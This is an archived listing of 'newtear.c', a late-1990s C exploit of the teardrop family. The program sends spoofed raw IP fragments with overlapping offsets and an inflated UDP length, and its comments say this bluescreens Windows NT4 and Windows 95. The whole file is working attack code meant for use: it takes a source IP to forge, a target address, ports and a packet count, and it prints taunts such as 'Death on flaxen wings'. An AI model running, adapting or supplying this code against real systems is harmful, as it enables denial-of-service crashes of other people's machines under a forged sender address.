home *** CD-ROM | disk | FTP | other *** search
/ No Fragments Archive 10: Diskmags / nf_archive_10.iso / MAGS / FALKMAG / FKM_10H.ZIP / FKM_010 / NUKE.ZIP / NUKE / NEWTEAR.C < prev    next >
C/C++ Source or Header  |  1998-11-23  |  8KB  |  231 lines

  1. /*  Newtear.c
  2.  *  Seemingly, a new teardrop type exploit. Affects NT4, and Win95.
  3.  *
  4.  *  [ http://www.rootshell.com/ ]
  5.  *
  6.  *  Discovered 01/08/1998
  7.  *
  8.  *  Updated notes:
  9.  *     This is a new version of teardrop.  It affects NT 4 and Win95 machines with all
  10.  *     current patches and hotfixes.  Causes a bluescreen in both operating systems.
  11.  *     Linux appears unaffected, other *NIXes untested.  Differences are:
  12.  *
  13.  *     Smaller padding data size (20 bytes instead of 28 in previous teardrop)
  14.  *     Faked out UDP total length.  (Increased reported UDP length to twice what it really is)
  15.  *
  16.  *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  17.  *
  18.  *  Linux/NT/95 Overlap frag bug exploit
  19.  *
  20.  *  Exploits the overlapping IP fragment bug present in all Linux kernels and
  21.  *  NT 4.0 / Windows 95 (others?)
  22.  *
  23.  *  Based off of:   flip.c by klepto
  24.  *  Compiles on:    Linux, *BSD*
  25.  *
  26.  *  gcc -O2 teardrop.c -o teardrop
  27.  *      OR
  28.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <unistd.h>
  34. #include <string.h>
  35. #include <netdb.h>
  36. #include <netinet/in.h>
  37. #include <netinet/udp.h>
  38. #include <arpa/inet.h>
  39. #include <sys/types.h>
  40. #include <sys/time.h>
  41. #include <sys/socket.h>
  42.  
  43. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  44.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  45. #define FIX(n)  (n)
  46. #else                   /* OpenBSD 2.1, all Linux */
  47. #define FIX(n)  htons(n)
  48. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  49.  
  50. #define IP_MF   0x2000  /* More IP fragment en route */
  51. #define IPH     0x14    /* IP header size */
  52. #define UDPH    0x8     /* UDP header size */
  53. #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */
  54. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  55. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  56.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  57.                          */
  58. void usage(u_char *);
  59. u_long name_resolve(u_char *);
  60. u_short in_cksum(u_short *, int);
  61. void send_frags(int, u_long, u_long, u_short, u_short);
  62.  
  63. int main(int argc, char **argv)
  64. {
  65.     int one = 1, count = 0, i, rip_sock;
  66.     u_long  src_ip = 0, dst_ip = 0;
  67.     u_short src_prt = 0, dst_prt = 0;
  68.     struct in_addr addr;
  69.  
  70.     fprintf(stderr, "teardrop   route|daemon9\n\n");
  71.  
  72.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  73.     {
  74.         perror("raw socket");
  75.         exit(1);
  76.     }
  77.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  78.         < 0)
  79.     {
  80.         perror("IP_HDRINCL");
  81.         exit(1);
  82.     }
  83.     if (argc < 3) usage(argv[0]);
  84.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  85.     {
  86.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  87.         exit(1);
  88.     }
  89.  
  90.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  91.     {
  92.         switch (i)
  93.         {
  94.             case 's':               /* source port (should be emphemeral) */
  95.                 src_prt = (u_short)atoi(optarg);
  96.                 break;
  97.             case 't':               /* dest port (DNS, anyone?) */
  98.                 dst_prt = (u_short)atoi(optarg);
  99.                 break;
  100.             case 'n':               /* number to send */
  101.                 count   = atoi(optarg);
  102.                 break;
  103.             default :
  104.                 usage(argv[0]);
  105.                 break;              /* NOTREACHED */
  106.         }
  107.     }
  108.     srandom((unsigned)(time((time_t)0)));
  109.     if (!src_prt) src_prt = (random() % 0xffff);
  110.     if (!dst_prt) dst_prt = (random() % 0xffff);
  111.     if (!count)   count   = COUNT;
  112.  
  113.     fprintf(stderr, "Death on flaxen wings:\n");
  114.     addr.s_addr = src_ip;
  115.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  116.     addr.s_addr = dst_ip;
  117.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  118.     fprintf(stderr, " Amt: %5d\n", count);
  119.     fprintf(stderr, "[ ");
  120.  
  121.     for (i = 0; i < count; i++)
  122.     {
  123.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  124.         fprintf(stderr, "b00m ");
  125.         usleep(500);
  126.     }
  127.     fprintf(stderr, "]\n");
  128.     return (0);
  129. }
  130.  
  131. /*
  132.  *  Send two IP fragments with pathological offsets.  We use an implementation
  133.  *  independent way of assembling network packets that does not rely on any of
  134.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  135.  */
  136.  
  137. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  138.                 u_short dst_prt)
  139. {
  140.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  141.     u_char byte;                            /* a byte */
  142.     struct sockaddr_in sin;                 /* socket protocol structure */
  143.  
  144.     sin.sin_family      = AF_INET;
  145.     sin.sin_port        = src_prt;
  146.     sin.sin_addr.s_addr = dst_ip;
  147.  
  148.     /*
  149.      * Grab some memory for our packet, align p_ptr to point at the beginning
  150.      * of our packet, and then fill it with zeros.
  151.      */
  152.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  153.     p_ptr  = packet;
  154.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
  155.  
  156.     byte = 0x45;                        /* IP version and header length */
  157.     memcpy(p_ptr, &byte, sizeof(u_char));
  158.     p_ptr += 2;                         /* IP TOS (skipped) */
  159.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  160.     p_ptr += 2;
  161.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  162.     p_ptr += 2;
  163.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  164.     p_ptr += 2;
  165.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  166.     byte = IPPROTO_UDP;
  167.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  168.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  169.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  170.     p_ptr += 4;
  171.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  172.     p_ptr += 4;
  173.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  174.     p_ptr += 2;
  175.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  176.     p_ptr += 2;
  177.     *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* UDP total length */ /* Increases UDP total length to 48 bytes
  178.                                                      Which is too big! */
  179.  
  180.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  181.                 sizeof(struct sockaddr)) == -1)
  182.     {
  183.         perror("\nsendto");
  184.         free(packet);
  185.         exit(1);
  186.     }
  187.  
  188.     /*  We set the fragment offset to be inside of the previous packet's
  189.      *  payload (it overlaps inside the previous packet) but do not include
  190.      *  enough payload to cover complete the datagram.  Just the header will
  191.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  192.      *  better.
  193.      */
  194.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  195.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  196.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  197.     *((u_short *)p_ptr) = FIX(MAGIC);
  198.  
  199.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  200.                 sizeof(struct sockaddr)) == -1)
  201.     {
  202.         perror("\nsendto");
  203.         free(packet);
  204.         exit(1);
  205.     }
  206.     free(packet);
  207. }
  208.  
  209. u_long name_resolve(u_char *host_name)
  210. {
  211.     struct in_addr addr;
  212.     struct hostent *host_ent;
  213.  
  214.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  215.     {
  216.         if (!(host_ent = gethostbyname(host_name))) return (0);
  217.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  218.     }
  219.     return (addr.s_addr);
  220. }
  221.  
  222. void usage(u_char *name)
  223. {
  224.     fprintf(stderr,
  225.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  226.             name);
  227.     exit(0);
  228. }
  229.  
  230. /* EOF */
  231.